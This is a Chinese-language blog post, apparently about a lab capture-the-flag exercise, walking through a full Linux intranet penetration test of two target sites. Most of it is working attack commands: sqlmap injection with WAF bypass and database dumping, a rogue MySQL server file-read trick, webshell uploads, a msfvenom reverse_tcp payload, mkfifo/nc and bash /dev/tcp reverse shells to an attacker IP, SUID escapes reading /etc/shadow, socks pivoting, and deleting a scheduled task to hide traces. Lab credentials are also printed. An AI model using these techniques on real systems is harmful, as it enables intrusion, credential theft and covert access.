记录一次linux内网完整渗透测试

编程知识 更新时间:2023-05-03 01:26:13

21年六月中做完的项目文章,流程概览

信息发现与收集

寻找网域内主机目标

注意,web机每关机开机一次都要重新启动php5.3

kali机中命令(在10的网域内寻找)

nmap -sn 192.168.10.0/24

netdiscover -i eth0 -r 192.168.10.0/24

收集端口信息

masscan -p 1-65535 192.168.10.103 --rate=1000

nmap -sC -p 8888,3306,888,21,80 -A 192.168.10.103 -oA ddd4-port

gobuser 的用法

这里用作网站目录扫描

gobuster dir -u http://www.ddd4 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -o ddd4.log --wildcard | grep -v 10430 | grep -v "Size: 49" | grep -v "Size: 10280" | grep -v "Size: 11807"

操作界面

whatweb扫描基本信息

确认网站用的是稻壳模板后网上下载稻壳模板,了解其构造和做代码审计,为之后渗透做准备

这里下载模板后在本地机搭建稻壳网站看看

安装源码完成后网站页面

PHP审计

Sqlmap渗透测试

测试基本的注入信息
sqlmap -u http://www.ddd4/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword

–batch ,sqlmap注入中不会询问输入[Y/N] 全部默认Y

–p 后加指定测试的参数

–tamper(干预/篡改)后加 sqlmap 自带的编译脚本,用来转译编码敏感字符,绕过waf等,操作例子的 chardoubleencode.py 脚 本是对注入的字符进行两次 hash 加密

提示:如果是这种情况

可删除后重新注入

获得结果如下

查询网站的所有数据库名
sqlmap -u http://www.ddd4/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py --dbs --batch

查出了information_schema,test,www_ddd4_com三个库名

查询指定库包含的表名

查询www_ddd4_com库中的所有表

sqlmap -u http://www.ddd4/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -D www_ddd4_com --tables

操作界面

查询指定库的表的里面的数据信息
sqlmap -u http://www.ddd4/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword -D www_ddd4_com -T doc_user --dump

–dump 转储查询到的所有信息,通常是拖库操作(违法)慎用

查询到关键信息

用户:admin

密文:9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c

//这里查询出的密文是密码明文经过某种加密后存储到数据库里的,一般不能直接使用

在解密平台尝试后密文无法解密,大概率是网站的程序自加密

翻回之前的网站源码审计,找到关于加密相关的代码

分析关于加密的代码后发现密文不可逆

对策:利用改加密程序生成密文替换原来的。需要连接网站数据库并且有数据库权限。

尝试sqlmap注入获取数据库密码

sqlmap -u http://www.ddd4/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -passwrods

当前权限不够无法操作

获取数据库账密

利用mysql客户端读取文件漏洞通过工具Rogue-MySql-Server得到数据库账密

http://www.ddd4/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.31.227&action=chkdb

uname和pwd内容任意,dbhost为kali机ip

反弹得到结果

把获取的数据存储到mysql.log

得到mysql数据库配置的账密

账号:www_ddd4_com

密码:x4ix6ZrM7b8nFYHn

localhost

获取用户名

sqlmap -u http://www.ddd4/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -current-user

www_ddd4_com@localhost

登录数据库

mysql -h192.168.31.93 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn

192.168.31.93为web服务器ip

可以找到存储密文的位置,需要把密文替换即可登录

自加密明文

本地稻壳模板代码审计,找到稻壳的加密程序,并且自己将已知明文加密

找到加密部分代码

将其取出,并稍加修改(下图添加的14,15行)

BP抓包得到加密的字符串

得到明文’‘admin“经稻壳加密程序后的密文

“33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0”

登录mysql替换密文

update doc_user set pwd='33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0' where id=1;

登录后台

后台管理权限上号,芜湖起飞

在网站编辑里写入一句话

这里是在网站的www.ddd4/index.php 栏下写入的一句话,所以菜刀

上菜刀

尝试通过菜刀虚拟控制台执行命令,权限不够

metasploit反弹shell

生成载荷

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.227 LPORT=13777 -f elf >FTshell

LHOST为 kali 机 IP,elf为一种文件格式,这里的生成文件命名FTshell

菜刀上传

只不过现在文件chmod权限不够,无法进行更多操作,之后需要提权

先布置msf监听端口(命令可以批量操作)

use multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set LHOST kali机IP

set lport 13777

exploit

网站执行反弹命令 //这里用到待会儿的 bypass_disablefunc 工具

http://www.ddd4/bypass_disablefunc.php?cmd=./Fshell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4/bypass_disablefunc_x64.so

不过现在上传的文件马chmod权限不够(0666)无法进行有效操作,这里就需要提权

这里的提权是给上传的文件提权,最终目的是使得文件为777权限(被任意用户个人,群组等可以任意读写操作)然后可以执行文件反弹shell会话到msf,注意,这里反弹回来后建立的会话权限也只是普通的用户权限

关于chmod权限说明https://blog.csdn/u013197629/article/details/73608613

bypass_disablefunc提权

通过菜刀上传工具bypass_disablefunc 执行cmd命令,最大的缺点是跳转特别特别慢,这里作为提权使用。

在www.ddd4/phpinfo.php中看disable_functions参数

disable_functions:过滤的php危险命令参数,详解https://blog.csdn/qq_20757489/article/details/86506159

工具 bypass_disablefunc putenv 同样有执行系统权限的功能,在这里的php里没有被过滤

工具的php文件和so库上传过去

php工具里的说明代码

bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

改成

bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4/bypass_disablefunc_x64.so

这便成为了操作代码,加粗为使用部分,工具缺点是使用时网页跳转比较慢。

举个栗子

查看网卡信息ifconfig,这里不同浏览器可能效果不一样,我这里edge不可以,火狐和谷歌浏览器都可以回显

http://www.ddd4/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4/bypass_disablefunc_x64.so

网站页面BP抓包后编码(Ctrl+U)

www.ddd4/bypass_disablefunc.php?cmd=chmod+777+FTshell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4/bypass_disablefunc_x64.so

文件成功从0666提权到0777

执行反弹命令建立会话

/bypass_disablefunc.php?cmd=./FTshell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4/bypass_disablefunc_x64.so

getuid可以看到是1001权限,这里的提权是给上传的文件提权,最终目的是使得文件为777权限(被任意用户个人,群组等可以任意读写操作)然后可以执行文件反弹shell会话到msf,注意,这里反弹回来后建立的会话权限也只是普通的用户权限

不过msf连接的shell会在按左右键或者汉字时会有乱码

需要去除乱码

建立nc会话

kali建立新窗口用netcat监听

nc -lvnp 8888

msf里用shell反弹监听建立会话 下面的ip为kali本地机

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.16 8889 >/tmp/f

成功反弹nc会话

去除shell显示乱码问题

似乎是只有旧版kali(2020版本能用这个方法),新版kali网上有不少其他方法去乱码

连接建立nc会话后,在nc会话中操作

python -c 'import pty;pty.spawn("/bin/bash")'             //会话里设置python shell
crtl +z                                                   //把nc会话先暂停放到后台
stty raw -echo                                             
fg                                                        //重新调用nc会话

消除乱码

Linux信息收集脚本工具

LinEnum

作用:来收集系统的信息 如 特殊文件的权限 suid 文件信息 网络端口信息,建立 WEB 服务器

文件所在路径下使用

python -m SimpleHTTPServer 80

操作界面

192.168.31.16为kali机ip

在nc会话交互界面

cd /tmp                 //到tmp目录下
wget http://192.168.31.16/LinEnum.sh             //下载下来.sh文件到kali机
sh LinEnum.sh > LX.txt        //执行文件并把结果输出保存到新建的txt里

操作界面

操作指令日志

可以找到敏感信息(账密)

权限敏感文件

有效信息

收集信息

### SOFTWARE #############################################

[-] Sudo version:
Sudo version 1.8.16


[-] MYSQL version:
mysql  Ver 14.14 Distrib 5.6.47, for Linux (x86_64) using  EditLine wrapper

[-] Apache version:
Server version: Apache/2.4.43 (Unix)
Server built:   Apr 10 2020 02:21:46

linux-exploit-suggester

作用:检测是否存在提权 cve 漏洞

操作界面

linuxprivchecker.py

作用:检测权限信息

操作界面

列出来常用的suid命令

[+] Related Shell Escape Sequences...
vi-->       :!bash
vi-->       :set shell=/bin/bash:shell
vi-->       :!bash
vi-->       :set shell=/bin/bash:shell
awk-->      awk 'BEGIN {system("/bin/bash")}'
find-->     find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl-->     perl -e 'exec "/bin/bash";'

查找suid文件命令

find / -type f -perm -u=s 2>/dev/null

提权操作

suid提权

提权原理:(6条消息) Linux下用SUID提权_谢公子的博客-CSDN博客_suid提权

比如这里的shadow只有root用户有权限读取和操作,普通用户是作Permission denied(权限被拒绝)

但是可以用suid提权进行操作

touch test
find test -exec cat /etc/shadow \;

也可以用root权限执行其他命令

鲜明对比

sudo提权

宝塔面版提权

利用菜刀获得目标机的宝塔网址以及账密

结合netcat提权

利用https://www.moonsec/archives/647的资料

bash -i >& /dev/tcp/192.168.31.16/8881 0>&1

反弹回shell,这里的会话是管理员权限,这点很重要

执行反弹后可以删除任务,避免留下痕迹

msf曲线二重提权

msf原权限 1001普通用户权限

退出msf当前会话,在宝塔提权的操作界面找到msf的反弹载荷文件的位置,并且运行

msf开启监听,成功建立root权限会话

root权限可以执行查看隐私文件操作,比如shadow和hosts等

发现有绑定的ddd5网址靶机,这里我们kali机也绑定上这个hosts,准备渗透

注意:后来有ddd5的靶机B的IP从144变成169了,所以靶机A和kali机关于www.ddd5的hosts也相应改为10.10.10.169

内网进阶渗透

msf开启内网路由代理

run get_local_subnets _subnets    //查看路由和网段
run autoroute -s 10.10.10.0/24    //添加路由
run autoroute -p        //查看路由

sock4内网代理模块

msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options
msf5 auxiliary(server/socks4a) > set SRVPORT 2333
msf5 auxiliary(server/socks4a) > exploit

这里端口设为2333

现在已经设置好内网代理

不过sock4代理比较慢

proxychains3代理

开启端口隧道代理来访问内网

vim /etc/proxychains.conf

sock4 kali本机IP 之前的端口

nmap扫一下靶机B端口

proxychains firefox www.ddd5          //这里proxychains3也可以

成功内网代理跨网域

192.168.31.16的kali机-------代理访问------->10.10.10.169的网站

不过操作时不太稳定

EW

Index of /distribution (earthwormcentral)

使用文章:通过SOCKS代理渗透整个内网_云野安全-CSDN博客

实战经验:https://wwwblogs/kuangke/p/11133693.html

=======

在宝塔提权的root用户权限的tmp文件夹下载LinEnum80端口传输的SOCKS5压缩包

wget http://192.168.31.16/ssocks-0.0.14.tar.gz
tar -zxvf ssocks-0.0.14.tar.gz
tar -zxvf ssocks-0.0.14.tar.gz   
cd ssocks-0.0.14           
./configure && make 
cd src

sock5内网代理模块

注:sock4和sock5的区别

1、socks4和socks5都于socks协议,只是由于所支持的具体应用不同而存在差异。

2、socks4代理只支持TCP应用,而socks5代理则可以支持TCP和属UDP两种应用。

3、socks5代理还支持各种身份验证机制,服务器端域名解析等,而socks4代理没有,所以通常对外开放的socks代理都是socks4代理,因此,UDP应用通常都不能被支持。也就是说,socks4能干的socks5都可以干,反过来就不行了。

注意:这里的ssocks-0.0.14.tar.gz压缩文件在我的两台kali机上解压后都不能正常编译,目前推测是gcc版本问题(可能版本太新了),我是将这个压缩包放在项目五乌版图服务器上可以正常解压后编译,然后把编译好的文件拿来用

tar -zxvf ssocks-0.0.14.tar.gz   //解压ssocks5压缩包
cd ssocks-0.0.14           //进入解压后的文件
./configure && make        //使用其中的configure编译生成执行文件
cd src

编译后进入src文件

这里要用到编译出来的rcsocks

执行命令①

./rcsocks -l 2233 -p 1080 -vv    

在本地为192.168.10.10 IP的kali机开启2233端口,把所有2233端口收到的信息都转发到自己的1080端口

执行命令②

把刚才的sock5的压缩包文件用连上有root权限的nc的shell传到web服务器靶机后基操解压后编译(可以传已经编译好的)

/rssocks -vv -s kali机IP:1080

这里是把内网跳板机 响应 的数据信号都《=====》到kali机IP的1080端口上

双方都执行监听后这个端口转发就做好了

画了个原理示意图
(丑不拉几,能看就行)

③在kali机的 /etc/proxychains.conf 文件里把之前什么socks4注释掉,然后添加socks5 kali机IP

还有个很有意思的python临时搭建http服务(只要是python3后的版本都可以)

然后就万事俱备,可以用192.168.10.xx(路由器分配的LAN个体IP)的kali机子访问10.10.10.XXX(内网段IP)的内网服务器了

这里访问内网的www.ddd5网址前要先在kali机本地的hosts文件里绑定 www.ddd5 内网服务器IP

经过测试socks5的代理非常稳定好用(如果出现超时异常就是内网服务器的时间与你本地shell的机子时间不一样,改成近似时间就行了)

也可以代理来用nmap扫描内网服务器的端口

也可以不用proxychains,③直接在浏览器设置socks5代理,设置好后照样可以端口转发访问内网服务器

kali机设置

正常访问

③本地物理机(LAN分配192.168.10.xxx)设置后正常访问内网服务器(10.10.10.169)(要访问ddd5网站的话前提也是要在本地hosts绑定网址)

进入ddd5后台admin 123456登录后模板上传准备好的 xxxxx.zip 压缩包(是加入各种大小马的网站模板),上传压缩包后会自动解压

里面的大小马

cmd

http://www.ddd5/content/templates/xxxx/1.php?cmd=phpinfo();

大马

http://www.ddd5/content/templates/xxxxx/xxxx.php

http://www.ddd5/content/templates/xxxxxx/shell.php?cmd=ls

比如这里执行小马

蚁剑的代理设置(这里是因为之前上传的网站模板有一句话木马,密码为cmd,执行代理后可以供菜刀蚁剑连接)蚁剑添加shell时网站url要完整,不要忘http://

菜刀或者浏览器的代理还可以是用小彩帽,配置小彩帽代理后,把菜刀和浏览器的exe文件移动过来,在小彩帽内打开就能代理执行

彩帽代理后菜刀可以连接内网的ddd5网站(这里是因为之前上传的网站模板有一句话木马,密码为cmd,供菜刀蚁剑连接)

执行代理访问内网服务器

发现8080端口线索,但未知账密不能登录

但可以推测有phpmyadmin

8080端口下的phpmyadmin可以用root和上上面的默认密码登录

登录后找到WDCP用户的账密

加密的密文我这里用cmd5解密出密码

这里也可以“推测”出了密码(有点强行)

然后可以登录WDCP(如果登录超时或者不稳定就是内网服务器的时间与你主机时间不同步,把这两时间改的相近就可以正常登录了)

这里本身是可以和之前宝塔一样直接反弹nc的会话就是root权限,但是这里的命令执行不允许操作这种反弹shell命令(会警告并记录日志,随手你记录完我就清也没啥用)但拿到了后台权限搞到后面会话的方式多的是,这里我们选择ssh的会话链接

生成和下载密钥

下载ssh登录密钥文件后放到kali里更改到chmod 600的权限(试了如果提权到777的话会出现下图报错,密钥文件不能使用)

权限更改为600时反而能够正常使用

注意,需要proxychains代理下语句

proxychains ssh root@10.10.10.169 -i sshkey_wdcp

正常连接会话,并且为root权限

拿flag

用ssh文件远控shell后拿到第一个(这个象征拿到内网服务器的最高权限)

用之前菜刀上传文件然后提权(单纯的文件提权)的反弹shell,连接上的msf获取第二个flag

这里要换到host123用户,然后拿flag (这个象征拥有web服务器的较高权限)

第三个flag是nc拿的,这个是当时拿到宝塔后台权限后在宝塔设定给计划任务的反弹shell,反弹过来是root权限(这个象征你完全拿到web服务器的最高权限)


OVER

更多推荐

记录一次linux内网完整渗透测试

本文发布于:2023-04-29 20:57:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/fc446e1347f41712e4d44695d1e7fbba.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:内网   完整   测试   linux

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!

  • 112215文章数
  • 28545阅读数
  • 0评论数